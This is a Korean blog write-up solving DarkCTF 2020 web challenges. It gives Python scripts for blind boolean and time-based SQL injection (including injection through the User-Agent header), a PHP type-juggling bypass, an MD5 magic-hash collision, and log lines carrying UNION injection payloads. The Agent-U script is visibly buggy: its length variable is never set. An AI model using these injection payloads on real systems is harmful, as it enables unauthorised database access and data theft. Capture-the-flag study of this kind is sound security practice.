1. Source

php의 `auto type casting` 문제 인거 같다.

<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');
          } else {
                 echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ohhhhh!!! Very Close  </p></div>');
          }
      } else {
             echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Nice!!! Near But Far</p></div>');
      }
} else {
    echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>
</center>
<!-- Source is helpful -->
    </body>
</html>

 

위 코드를 보면 `$_SERVER['HTTP_USER_AGENT']` 값이 숫자이고, 길이는 4 미만, 값은 10000 보다 커야만 `flag` 를 획득 할 수 있다. php는 문자열과 숫자를 비교할때 자동으로 형변환을 해준다.

따라서 `$_SERVER['HTTP_USER_AGENT'] = 9e9` 이면 `flag`를 획득 할 수 있다. `9e9`의 의미는` 9 * 10^9` 이다.

import requests

url = "http://source.darkarmy.xyz"

header = {"User-Agent" : "9e9"}

res = requests.get(url, headers=header)
print(res.text)

 

 

 

 

2. Apache Logs

logs.ctf
0.03MB

이번 문제는 apache log를 첨부파일로 주워줬다. 로그를 보고 어떤 공격이 들어왔는지 맞추는 문제이다.

처음에는 `LFI` 공격인줄 알았는데 밑에 보니까 `sql` 공격도 있었다. 로그에는 ascii code가 있는데 이를 문자로 바꾸면 flag를 얻을 수 있다.

192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=&register-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
192.168.32.1 - - [29/Sep/2015:03:39:05 -0400] "GET /fdsfdsa HTTP/1.1" 404 501 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 68, 97, 114, 107, 67, 84, 70, 123, 53, 113, 108, 95, 49, 110, 106, 51, 99, 116, 49, 48, 110, 125)%29
darkCTF{5ql_1nj3ct10n}

 

 

 

3. simple sql

`sqli` 문제이다. `id` 파라미터에 `sqli` 공격이 가능해서 해당 파라미터를 이용해서 python으로 flag를 얻었다.

import requests
import time
import string

url = 'http://simplesql.darkarmy.xyz/?id={}'
s = string.ascii_lowercase + string.digits + "_-?~![](){} " + string.ascii_uppercase

database_length = 8
db_name = "security"
table_length = 7
table_name1 = "emails"
table_name2 = "referers"
table_name3 = "uagents"
table_name4 = "users"

length = 16
payload_data = '1" and if(ascii(substr((select password from security.users where username="flag"),{},1))={},1,0)%23'
data = ""
for i in range(1, length+1):
    for c in s:
        u = url.format(payload_data).format(i, ord(c))
        print(u)
        res = requests.get(u)
        
        if res.text.find("LOL") != -1:
            data += c
            print(data)
            break

# darkCTF{it_is_very_easy_to_find}

 

 

 

 

 

4. Agent-U

이번 문제도 `sqli` 문제이다. 취약한 곳은 `User-Agent` 값에서 `sqli` 공격이 가능하다.

필자는 이번에도 `user` 테이블에 flag가 있는 줄 알았는데 없었다... 문제를 다시 읽어보니까 flag 값은 DB 이름이라고... 지문을 제대로 읽자!!

import requests
import time
import string

url = "http://agent.darkarmy.xyz"

data = {"uname": "admin", "passwd": "admin"}

s = string.ascii_lowercase + string.digits + "_-?~![](){} " + string.ascii_uppercase
db_length = 0
db_name = ""

def req(payload):
    header = {"User-Agent" : "a', 'http://3.34.34.150', {})#".format(payload)}
    start = time.time()
    res = requests.post(url, data=data, headers=header)
    # print(res.text)
    

##### Get db length #######
for i in range(20, 100):
    payload = "if(length((select database()))={},sleep(2),0)".format(i)
    print(payload)
    header = {"User-Agent" : "a', 'http://3.34.34.150', {})#".format(payload)}
    
    start = time.time()
    res = requests.post(url, data=data, headers=header)
    
    if time.time() - start >= 2:
        print(i)
        break


##### Get db name #######
for i in range(1, db_length+1):
    for c in s:
        payload = "if( ascii(substr((select database()),{},1))={},sleep(2),0)".format(i, ord(c))
        
        start = time.time()
        req(payload)
        
        if time.time() - start >= 2:
            db_name += c
            print(db_name)
            break
    
print(db_name)

# darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}

 

 

 

 

5. PHP information

이번 문제는 `query string` 를 이용한 문제이다.  아래 코드를 통해 `HTTP_USER_AGENT`, `darkctf`, `ctf2020` 값을 맞춰 주면 되고, `karma` 와 `2020`은 magic hash를 이용해서 우회하면 된다.

<?php

include "flag.php";

echo show_source("index.php");


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['darkctf'])){
        $darkctf = $res['darkctf'];
    }
}

if ($darkctf === "2020"){
    echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>";
}

if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ // 2020_the_best_year_corona
    echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>";
}


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['ctf2020'])){
        $ctf2020 = $res['ctf2020'];
    }
    if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){
        echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>";
                
        }
    }



    if (isset($_GET['karma']) and isset($_GET['2020'])) {
        if ($_GET['karma'] != $_GET['2020'])
        if (md5($_GET['karma']) == md5($_GET['2020']))
            echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>";
        else
            echo "<h1 style='color: chartreuse;'>Wrong</h1></br>";
    }



?>
import requests

url = "http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=240610708&2020=QLTHNDT"

header = {"User-Agent" : "2020_the_best_year_corona"}
res = requests.get(url, headers=header)

print(res.text)

# DarkCTF{very_nice_web_challenge_dark_ctf}

 

 

 

 

 

'CTF > DarkCTF' 카테고리의 다른 글

[DarkCTF 2020] web write up  (0) 2020.09.27
[DarkCTF 2020] newPaX write up  (0) 2020.09.27
[DarkCTF 2020] rop write up  (0) 2020.09.27